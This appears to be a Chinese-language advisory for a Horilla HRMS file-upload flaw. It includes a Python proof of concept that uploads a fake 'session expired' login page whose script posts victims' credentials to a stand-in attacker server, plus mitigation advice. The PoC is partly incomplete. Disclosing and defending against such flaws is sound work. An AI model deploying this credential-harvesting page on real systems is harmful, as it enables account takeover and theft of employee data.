IPBUF安全漏洞报告
English
CVE-2026-24010 CVSS 8.0 高危

CVE-2026-24010 Horilla HRMS文件上传漏洞导致账户接管

披露日期: 2026-01-22

漏洞信息

漏洞编号
CVE-2026-24010
漏洞类型
文件上传漏洞/钓鱼攻击/账户接管
CVSS评分
8.0 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Horilla HRMS (Human Resource Management System)

相关标签

CVE-2026-24010文件上传漏洞钓鱼攻击账户接管Horilla HRMSWeb应用安全社会工程学身份认证绕过高危漏洞

漏洞概述

Horilla是一款免费开源的人力资源管理系统(HRMS)。该系统存在一个严重的文件上传漏洞,存在于1.5.0之前的版本中。攻击者利用此漏洞配合社会工程学技术,可以实现对用户账户的完全接管。漏洞的核心问题在于系统对用户上传的头像文件缺乏充分的安全验证,允许认证用户上传包含恶意代码的HTML文件。攻击者将恶意HTML文件伪装成用户头像上传后,可以创建一个看起来与真实登录页面几乎一致的钓鱼页面。当受害者访问该文件URL时,会看到一个虚假的"会话已过期"提示,诱导用户重新输入登录凭证。所有输入的凭据都会被发送到攻击者控制的服务器,从而导致账户被完全接管。此漏洞影响所有使用受影响版本Horilla系统的组织,可能导致大量用户账户泄露和敏感数据暴露。

技术细节

该漏洞是一个典型的文件上传安全漏洞,存在于Horilla HRMS的头像上传功能模块中。漏洞的根本原因在于系统对上传文件的类型、内容和扩展名验证不足。攻击流程如下:首先,攻击者需要拥有一个有效的Horilla系统账户(即使是低权限账户也可利用)。登录后,攻击者访问个人资料设置页面的头像上传功能。系统仅检查文件扩展名是否在允许列表中(如.jpg、.png等),但对HTML文件没有进行充分的过滤或内容检测。攻击者将包含钓鱼代码的HTML文件重命名为看似合法的图片扩展名(如1.5.0之前的版本可能允许.html或其他扩展名),或利用MIME类型检测漏洞绕过上传限制。上传成功后,系统返回文件的访问URL。攻击者将这个URL发送给目标用户(通常通过系统内的消息功能或其他内部渠道)。当受害者访问该URL时,浏览器直接渲染HTML内容,显示一个伪造的"会话已过期"登录页面。用户在此页面输入的凭据通过JavaScript发送到攻击者服务器。由于页面看起来与真实的Horilla登录页面一致,用户很难识别这是一个钓鱼攻击。攻击者获得凭据后可以登录目标账户,查看敏感的员工信息、薪资数据等。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者注册并获取Horilla HRMS系统的有效账户(低权限即可)
STEP 2
步骤2
准备阶段:攻击者创建包含钓鱼代码的恶意HTML文件,伪装成会话过期提示页面
STEP 3
步骤3
上传阶段:攻击者登录系统,通过头像上传功能将恶意HTML文件上传到服务器
STEP 4
步骤4
分发阶段:攻击者通过系统内部消息、电子邮件或其他渠道将上传文件的URL发送给目标用户
STEP 5
步骤5
诱导阶段:受害者访问恶意URL,看到伪造的"会话已过期"登录页面并输入凭据
STEP 6
步骤6
窃取阶段:恶意HTML中的JavaScript代码将受害者的用户名和密码发送到攻击者控制的服务器
STEP 7
步骤7
接管阶段:攻击者使用窃取的凭据登录受害者账户,获取敏感数据和系统访问权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2026-24010 PoC - Horilla HRMS File Upload Phishing Attack # Target: Horilla HRMS < 1.5.0 TARGET_URL = "http://target-horilla-server.com" ATTACKER_SERVER = "http://attacker-controlled-server.com" # Malicious HTML payload disguised as profile picture PHISHING_HTML = ''' <!DOCTYPE html> <html> <head> <title>Session Expired - Horilla HRMS</title> <style> body { font-family: Arial, sans-serif; background: #f0f2f5; } .login-box { width: 350px; margin: 100px auto; padding: 20px; background: white; border-radius: 8px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); } h2 { text-align: center; color: #333; } input { width: 100%; padding: 10px; margin: 10px 0; border: 1px solid #ddd; border-radius: 4px; box-sizing: border-box; } button { width: 100%; padding: 10px; background: #1877f2; color: white; border: none; border-radius: 4px; cursor: pointer; } button:hover { background: #166fe5; } .warning { text-align: center; color: #666; font-size: 14px; margin-bottom: 20px; } </style> </head> <body> <div class="login-box"> <h2>Horilla HRMS</h2> <p class="warning">Your session has expired. Please login again.</p> <form id="phishForm"> <input type="text" name="username" placeholder="Username" required> <input type="password" name="password" placeholder="Password" required> <button type="submit">Login</button> </form> </div> <script> document.getElementById('phishForm').addEventListener('submit', function(e) { e.preventDefault(); var formData = new FormData(this); fetch('ATTACKER_SERVER/log.php?cve=2026-24010', { method: 'POST', body: formData }).then(() => { // Redirect to legitimate login page after capturing credentials window.location.href = 'TARGET_URL/auth/login/?next=/'; }); }); </script> </body> </html> ''' def exploit(): # Step 1: Authenticate with valid credentials session = requests.Session() login_url = f"{TARGET_URL}/auth/login/" login_data = {'username': 'attacker_account', 'password': 'attacker_password'} response = session.post(login_url, data=login_data) if response.status_code != 200: print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Upload malicious HTML file as profile picture upload_url = f"{TARGET_URL}/employee/profile/update/" files = {'profile_picture': ('session_expired.html', PHISHING_HTML, 'text/html')} response = session.post(upload_url, files=files) if response.status_code == 200: # Extract uploaded file URL from response # Pattern: /media/avatar/ print("[+] Malicious file uploaded successfully") phishing_url = extract_uploaded_url(response) print(f"[+] Phishing URL: {phishing_url}") print(f"[+] Send this URL to victims to capture credentials") return True else: print("[-] File upload failed") return False if __name__ == "__main__": exploit()

影响范围

Horilla HRMS < 1.5.0

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)禁用头像上传功能或设置为仅管理员可上传;2)在Web服务器层面配置MIME类型过滤,阻止text/html类型文件的上传和访问;3)将上传目录设置为不可执行,配置Apache/Nginx阻止.html文件的执行;4)实施严格的Content-Security-Policy头部;5)监控异常的文件上传行为和大量失败的登录尝试;6)启用双因素认证(2FA)以防止凭据被盗后的账户接管;7)对所有上传文件进行重命名,使用随机字符串替代原始文件名。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表